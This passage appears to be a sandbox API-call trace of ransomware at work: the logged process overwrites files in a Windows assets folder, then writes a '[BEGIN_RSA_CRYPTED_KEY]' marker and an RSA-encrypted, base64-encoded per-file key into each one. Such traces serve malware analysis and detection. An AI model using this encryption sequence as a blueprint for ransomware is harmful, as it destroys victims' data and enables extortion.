(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c15af436473071e42100b1dbcfd6348cf077917c1827ba11cf85e298c3132b47", dwFileAttributes=0x80) returned 1 [0213.311] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c15af436473071e42100b1dbcfd6348cf077917c1827ba11cf85e298c3132b47" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\c15af436473071e42100b1dbcfd6348cf077917c1827ba11cf85e298c3132b47"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.311] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=526) returned 1 [0213.311] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0213.316] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.317] WriteFile (in: hFile=0x1840, lpBuffer=0x66ec48*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ec48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0213.317] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20e [0213.317] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.317] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.317] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.317] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.317] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.318] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="brOz+m1ybc/wonZ2t0SiSvkfoVJgHnPbLYSev5tXPafyc8ftQ7qFduaYE0jwPfsZ\nRFRJvxItDbb6YqTQLqMgnBzm5do1Cg4Uyn4y7ZxTp51QLakwoG79ul2sSdPs0tBL\nH02VlkQiA+dpEnfShYVk54Iwnk5ForicBIPvKvVvB5e5U+uMYRA2S+T++FgTMqIK\nRyYmhODc2pAyVaiWXpg2Hgssz3xHtkxvWBtQERAp8WSf1IEsKXDSSRQABVFxJZVx\nfHgbper3YA+DiO2ariau0pzOgmsPXERhCz9F7DQlPjz2Qix9codz8eaUgIj0IyaJ\nGjmRgVLDE2DrLVJVygqVoA==\n", pcchString=0x2e3f9a8) returned 1 [0213.318] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.318] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.318] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.318] CloseHandle (hObject=0x1840) returned 1 [0213.320] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c0e8565df87196c9355289c99872bc431e0ba80e188bcb958e68dd5a46ace6a0", dwFileAttributes=0x80) returned 1 [0213.321] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c0e8565df87196c9355289c99872bc431e0ba80e188bcb958e68dd5a46ace6a0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\c0e8565df87196c9355289c99872bc431e0ba80e188bcb958e68dd5a46ace6a0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.322] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=414951) returned 1 [0213.322] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x654e7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x654e7, lpOverlapped=0x0) returned 1 [0213.461] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-414951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.462] WriteFile (in: hFile=0x1840, lpBuffer=0x33b6500*, nNumberOfBytesToWrite=0x654e7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33b6500*, lpNumberOfBytesWritten=0x2e3f9b4*=0x654e7, lpOverlapped=0x0) returned 1 [0213.463] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x654e7 [0213.463] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.463] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.463] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.463] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.464] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.464] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="PAnLvslHIg5xj2l56dtW+g2PBryzTR2UbRZf2noW0sTh7J6voyJkUXRvf7oMAhJy\nvIZdMJv56511z/dKR5q1cMgzHehfIvXZLqNEsmTW3rgH+QJsqypW1H1QVaK2cfpa\nfkjc8s8vsyETQKn7YYC4Kj/fuk4+VxsSNhA6zS+bLTIYULLmiznRhG+0NAtC5Zg+\ntCWORbkEksiNndiNt9wbk13UsMbsQm2D347FRGapSQpeNIdW80LLjAHO3Try6YWx\niDcNrv2TEB2x7WF9XWutobbC4pmoNZD3EplY0b4AdhK2uaU4nrTnuoxihC2/gj4F\nV8QZqSha8/2KgJQdtp1siw==\n", pcchString=0x2e3f9a8) returned 1 [0213.464] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.464] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.464] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.464] CloseHandle (hObject=0x1840) returned 1 [0213.466] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.466] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32", dwFileAttributes=0x80) returned 1 [0213.467] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf6eaffaa4abb8218a682c9692a23c8aeee0efe3ac621ba142e17db3fa5f8e32"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.467] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1308326) returned 1 [0213.468] ReadFile (in: hFile=0x1840, lpBuffer=0x3549020, nNumberOfBytesToRead=0x13f6a6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3549020*, lpNumberOfBytesRead=0x2e3f9b4*=0x13f6a6, lpOverlapped=0x0) returned 1 [0213.562] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1308326, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.562] WriteFile (in: hFile=0x1840, lpBuffer=0x369b020*, nNumberOfBytesToWrite=0x13f6a6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x369b020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13f6a6, lpOverlapped=0x0) returned 1 [0213.568] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13f6a6 [0213.568] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.568] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.568] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.568] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.568] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.568] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="BJeoMuUJAKrOlDnqmm2q9Q4gJOhbMVn7q4ctIZFag1UlvdhIDUgSPTLC7FoFlZzi\nApBX8CcHcXATtFcN1VnrC4Hs0P6bn8ErgTHJ6SoaWCEIz0JfjNbk7DeK6V+9qNHK\n2GMcak2NW8inHL7Uj3P/lUoWwbXpo4YtIfyUwltvRNkn3QxqpQjcm0fWuClMoNB9\naBS/SbJXhpnIxd8FEgmbYewrn4baz5zZ/5/w3M4nhtZaqs0FWRBWQifRLvRg3eIV\n36f6wog2CPL2FOnpnqgMuSU4i5eV8fsJbIRPIB3VEmvJ+GLyvYM4BwzS0iSO7gl6\neoLiDbeoqjRwY/5cva6FJg==\n", pcchString=0x2e3f9a8) returned 1 [0213.568] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.569] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.569] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.569] CloseHandle (hObject=0x1840) returned 1 [0213.570] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.570] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348", dwFileAttributes=0x80) returned 1 [0213.581] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\bf62288b682d7728ea7e07156b7ee3cd9f305e3923119fde968b31a14ac9b348"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.582] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=830) returned 1 [0213.582] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x33e, lpOverlapped=0x0) returned 1 [0213.583] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.583] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x33e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x33e, lpOverlapped=0x0) returned 1 [0213.583] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x33e [0213.583] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.583] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.583] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.583] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.584] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.584] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="nER7foVkirEESnlCZKj9ZiloJmkZxz4KycGwDeb/8P1usJca6KkKe/gzgXxUhqv2\nOvCqJseUGbGCNbTmcRmJW5msiUuqiN5r8qyTuVoyTaFQyn+tQ1hE9FjHfwQokhkW\nHzI4SyWFGkNPV6wtrNT/u61Xrm2IO2NLDfDCmu7JOlwAdHP+tclH/nu3/3sMJzN2\nrq3mMzIpk/sRDzxAE93jyPf5CAbu/R69/Y9doHd1EiQ56wRUQkZjdVCzEwlY4nsW\nWjZYQMlKxZ1v6XA9dugR7ZV7XcBawm6X2P9t4GKednUlVEDxv9Cei4aSjcm3g2rF\nNiCvp9Ow2EVrNscPD0tKTQ==\n", pcchString=0x2e3f9a8) returned 1 [0213.584] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.584] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.584] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.584] CloseHandle (hObject=0x1840) returned 1 [0213.586] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.586] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018", dwFileAttributes=0x80) returned 1 [0213.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ba4c61df67ca77df2dd1fb97d14697320c2c3aa5ee60aea7e23674d75e9df018"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.651] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=427128) returned 1 [0213.651] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x68478, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x68478, lpOverlapped=0x0) returned 1 [0213.752] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-427128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.752] WriteFile (in: hFile=0x1840, lpBuffer=0x33b9490*, nNumberOfBytesToWrite=0x68478, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33b9490*, lpNumberOfBytesWritten=0x2e3f9b4*=0x68478, lpOverlapped=0x0) returned 1 [0213.753] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x68478 [0213.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.753] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="yBOtraIJx9xDw3gZZks1DcCM4CTrGgkUO68nrQrrziZnCXIJQ3CQM8jAxF1AnpUq\nuv5tl9uIfaYhL0DYwsiJ4wN0hM7bfaGoZBb+TNh51RiIMUC1BMW+/Xxe+vK2IzdH\nH0iIcrzieIYZ+YYCurOU3wjduQvxEkzWEyIxL07hiw6zZgqftRyDmubRlLXngQ3a\nNPfJb/irdvX4J3ghn4ICkz4gwYpIBKZoCytj5CrLqLLeGlscnBe9zzW12GBCscwE\nFaUtZ9W9cT1N3tNll5Pn9Z8NtEy2RiKh8rLhKpCGu5sKenpZqY9zHXpnuItad1lR\nBsvuRgRlFgc58lEvNZZ8Yg==\n", pcchString=0x2e3f9a8) returned 1 [0213.754] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.754] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.754] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.754] CloseHandle (hObject=0x1840) returned 1 [0213.756] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea", dwFileAttributes=0x80) returned 1 [0213.756] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.757] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1002) returned 1 [0213.757] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x3ea, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ea, lpOverlapped=0x0) returned 1 [0213.776] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.776] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x3ea, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ea, lpOverlapped=0x0) returned 1 [0213.776] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ea [0213.776] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.776] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.777] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.777] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: 